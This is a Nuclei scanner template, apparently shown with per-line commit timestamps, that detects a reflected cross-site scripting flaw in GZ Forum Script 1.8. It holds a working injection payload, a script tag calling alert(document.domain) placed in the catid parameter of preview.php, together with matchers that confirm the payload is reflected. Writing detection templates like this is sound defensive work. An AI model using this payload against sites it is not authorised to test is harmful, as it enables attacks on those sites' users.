2023-10-17 07:20:28 +00:00
id : gz-forum-script-xss
info :
name : GZ Forum Script 1.8 - Cross-Site Scripting
author : r3Y3r53
severity : medium
description : |
2023-10-17 17:52:26 +00:00
Cross-site scripting (XSS) is an attack in which an attacker injects malicious executable scripts into the code of a trusted application or website. Attackers often initiate an XSS attack by sending a malicious link to a user and enticing the user to click it.
2023-10-17 07:20:28 +00:00
reference :
- https://www.exploit-db.com/exploits/51559
- https://gzscripts.com/gz-forum-script.html
metadata :
verified : true
max-request : 1
tags : gzforum,xss,unauth
http :
- method : GET
path :
2024-05-06 12:04:46 +00:00
- "{{BaseURL}}/preview.php?controller=Load&action=index&catid=moztj%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3Ems3ea&down_up=a"
2023-10-17 07:20:28 +00:00
matchers :
- type : dsl
dsl :
- 'status_code == 200'
- 'contains(body, "><script>alert(document.domain)</script>") && contains(body, "New Topic")'
- 'contains(content_type, "text/html")'
condition : and
2024-05-06 16:41:31 +00:00
# digest: 4a0a00473045022100a8c54695560c315e38751b221c77539e1614299bcaad0046383880c77e8fca0b022036a2cf634429cbab82c74c9633e30a0d31b3acb8babf044601ef51816fdbf453:922c64590222798bb761d5b6d8e72950